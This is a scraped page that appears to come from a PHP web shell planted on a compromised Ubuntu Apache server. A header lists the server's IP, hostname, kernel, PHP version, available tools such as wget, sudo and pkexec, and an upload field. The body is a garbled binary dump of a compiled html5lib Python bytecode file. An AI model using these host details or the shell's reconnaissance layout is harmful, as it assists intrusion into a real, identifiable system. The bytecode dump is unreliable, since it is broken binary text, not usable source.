| Server IP : 93.86.61.54 / Your IP : 216.73.216.60 Web Server : Apache/2.4.62 (Ubuntu) System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64 User : www-data ( 33) PHP Version : 8.4.22 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/python3/dist-packages/html5lib/treewalkers/__pycache__/ |
Upload File : |
o
V=�^� � @ sj d dl mZmZmZ d dlmZ d dlZd dlmZ ddl m
Z
ddlmZ e�
d �Zd
d� Zee�ZdS )� )�absolute_import�division�unicode_literals)�OrderedDictN)�string_types� )�base� )�moduleFactoryFactoryz
{([^}]*)}(.*)c s, | }|� d�j� G � fdd�dtj�}t� S )N�asdc s4 e Zd ZdZ� fdd�Zdd� Zdd� Zdd � Zd
S )z#getETreeBuilder.<locals>.TreeWalkera� Given the particular ElementTree representation, this implementation,
to avoid using recursion, returns "nodes" as tuples with the following
content:
1. The current element
2. The index of the element relative to its parent
3. A stack of ancestor elements
4. A flag "text", "tail" or None to indicate if the current node is a
text node; either the text or tail of the current element (1)
c s@ t |t�r|\}}}}|dv rtjt||�fS |}t|d�s"|�� }|jdv r+tjfS |jdkr>tj |j
|�d�|�d�fS |j� krItj|j
fS t |jt
�sVJ t|j���t�|j�}|re|�� \}}nd }|j}t� }t|j�� �D ]\} }
t�| �}|r�|
||�d�|�d�f<